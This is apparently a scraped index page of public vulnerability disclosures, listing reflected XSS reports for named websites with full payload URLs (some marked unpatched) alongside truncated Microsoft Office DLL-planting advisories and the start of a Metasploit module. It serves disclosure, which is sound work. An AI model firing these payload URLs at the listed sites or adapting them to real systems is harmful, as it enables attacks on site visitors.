wkkz927.com XSS vulnerability

Open Bug Bounty ID: OBB-116120 Description| Value ---|--- Affected Website:| wkkz927.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

Microsoft Office COM Object - DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132)

Microsoft Office COM Object - DLL Planting with comsvcs.dll Delay Load of mqrt.dll MS15-132 Source: https://code.google.com/p/google-security-research/issues/detail?id=556 It is possible for an attacker to execute a DLL planting attack in Microsoft Office 2010 on Windows 7 x86 with a specially...

orlandosentinel2.com XSS vulnerability

Vulnerable URL: http://www.orlandosentinel2.com/data/sofla/celebrity-smackdown/voting/index.php?useremail=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

192.com XSS vulnerability

Vulnerable URL: http://www.192.com/schools/search/location?gre=324144%22%3E%3Csvg/onload=prompt%28document.domain%29%3E=477253=Marton%2C+Cumbria Details: Description| Value ---|--- Patched:| Yes, at 27.02.2017 Latest check for patch:| 27.02.2017 11:57 GMT Vulnerability type:| XSS Vulnerability...

Microsoft Office / COM Object - 'els.dll' DLL Planting (MS15-134)

Source: https://code.google.com/p/google-security-research/issues/detail?id=514 It is possible for an attacker to execute a DLL planting attack in Microsoft Office with a specially crafted OLE object. Testing was performed on a Windows 7 x64 virtual machine with Office 2013 installed and the late...

square1.com XSS vulnerability

Vulnerable URL: https://www.square1.com/manufacturers/square1/p1252.asp?productname=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:49 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

sht87.com XSS vulnerability

Vulnerable URL: http://sht87.com/play.php?movie=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:45 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3860090 Googl...

Office OLE Multiple DLL Side Loading Vulnerabilities

Multiple DLL side loading vulnerabilities were found in various COM components. These issues can be exploited by loading various these components as an embedded OLE object. When instantiating a vulnerable object Windows will try to load one or more DLLs from the current working directory. If an...

Microsoft Office - OLE Multiple DLL Side Loading Vulnerabilities (MS15-132/MS16-014/MS16-025/MS16-041/MS16-070) (Metasploit)

require 'zip' require 'base64' require 'msf/core' require 'rex/ole' class MetasploitModule 'Office OLE Multiple DLL Side Loading Vulnerabilities', 'Description' = %q Multiple DLL side loading vulnerabilities were found in various COM components. These issues can be exploited by loading various...

192.com XSS vulnerability

Vulnerable URL: http://www.192.com/places/property-reports/?postcode="=1121020834 Details: Description| Value ---|--- Patched:| Yes, at 09.12.2015 Latest check for patch:| 09.12.2015 10:08 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8308 Google Pagerank| 6 V...

app.1and7.com XSS vulnerability

Vulnerable URL: http://app.1and7.com/enterprise/jsp/templet/browse/TempletBrowse.jsp?domain=1and7.com=10096==ou%3d10096,ou%3d10002,ou%3dData,ou%3d1and7.com,o%3deast=0=0=ou%3d10002,ou%3dData,ou%3d1and7.com,o%3deast=7=app.1and7.com=cAnonymous=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details:...

gobi3.com XSS vulnerability

Vulnerable URL: http://www.gobi3.com/pages/Login.aspx?message=Framework.PageFactory.NotLoggedIn=warning=above=locationeqwelcome=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:36 GMT Vulnerabilit...

treestuff.com XSS vulnerability

Vulnerable URL: http://www.treestuff.com/store/orderstatus.asp?email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:31 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...

sky72.com XSS vulnerability

Vulnerable URL: https://www.sky72.com/kr/utill/popupCP01.jsp?email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 428391 Google...

mariner7.com XSS vulnerability

Vulnerable URL: https://mariner7.com/SendEmail.asp?email=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 02.12.2015 Latest check for patch:| 02.12.2015 22:00 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

timbuk2.com XSS vulnerability

Vulnerable URL: http://www.timbuk2.com/search?q=asd" Details: Description| Value ---|--- Patched:| Yes, at 26.09.2016 Latest check for patch:| 26.09.2016 07:09 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 26051 Google Pagerank| 5 VIP website status:| Yes Chec...

secure-ssl-servers.info XSS vulnerability

Open Bug Bounty ID: OBB-111359 Description| Value ---|--- Affected Website:| secure-ssl-servers.info Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

4to40.com XSS vulnerability

Vulnerable URL: http://www.4to40.com/photogallery/picture.asp?pid=1978=MicrosoftBuildingBeijing.jpg=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:02 GMT Vulnerability type:| XSS Vulnerability...

support.8x8.com XSS vulnerability

Vulnerable URL:...

shock18.com XSS vulnerability

Vulnerable URL: http://shock18.com/vsearch.php?q=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 30.01.2016 Latest check for patch:| 30.01.2016 23:49 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...